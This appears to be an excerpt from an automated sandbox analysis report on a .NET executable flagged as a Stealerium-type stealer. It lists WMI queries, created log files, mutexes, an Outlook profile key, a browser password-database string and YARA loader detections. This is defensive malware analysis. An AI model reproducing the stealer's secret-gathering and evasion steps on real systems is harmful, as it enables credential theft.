Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\f2wWJWlU2B.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

File created: C:\Users\user\AppData\Local\Temp\Stealerium-Latest.log

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@28/100@9/6

Source: tmpC7D8.tmp.dat.5.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: f2wWJWlU2B.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4416:120:WilError_01
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Mutant created: \Sessions\1\BaseNamedObjects\431AYHUTDG1LEEPV5TZQ
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1248:120:WilError_01

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: f2wWJWlU2B.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: f2wWJWlU2B.exe

Static file information: File size 2248192 > 1048576

Source: f2wWJWlU2B.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: f2wWJWlU2B.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x223600

Source: f2wWJWlU2B.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: f2wWJWlU2B.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: GeQa.pdb source: f2wWJWlU2B.exe
Source:	Binary string: GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb} source: f2wWJWlU2B.exe, 00000005.00000003.398726717.0000000006145000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.435292269.0000000006142000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000003.408434000.0000000006142000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: f2wWJWlU2B.exe, 00000005.00000002.606748464.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003691000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.polly.pdb.compressed source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdb source: f2wWJWlU2B.exe, 00000005.00000003.533539291.0000000006190000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.600292607.0000000006190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: q costura.dotnetzip.pdb.compressed source: f2wWJWlU2B.exe, 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdbSHA256 source: f2wWJWlU2B.exe, 00000005.00000003.533539291.0000000006190000.00000004.00000020.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000043D6000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.595854288.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.579311377.00000000033D8000.00000004.00000800.00020000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.576632253.00000000017F0000.00000004.08000000.00040000.00000000.sdmp, f2wWJWlU2B.exe, 00000005.00000002.600292607.0000000006190000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: f2wWJWlU2B.exe, 00000005.00000002.605754131.0000000006DC0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: GeQa.pdbSHA256 source: f2wWJWlU2B.exe

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: 5.2.f2wWJWlU2B.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f2wWJWlU2B.exe.8f50658.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.570476426.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.579311377.0000000003371000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.440654420.0000000008DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f2wWJWlU2B.exe PID: 1876, type: MEMORYSTR

.NET source code contains potential unpacker

Source: f2wWJWlU2B.exe, neurosim/MainForm.cs	.Net Code: InitializeComponent
Source: 0.0.f2wWJWlU2B.exe.e00000.0.unpack, neurosim/MainForm.cs	.Net Code: InitializeComponent

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe

Code function: 5_2_01531EF9 push dword ptr [edi+edx-75h]; iretd

5_2_01531EFF

Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\f2wWJWlU2B.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
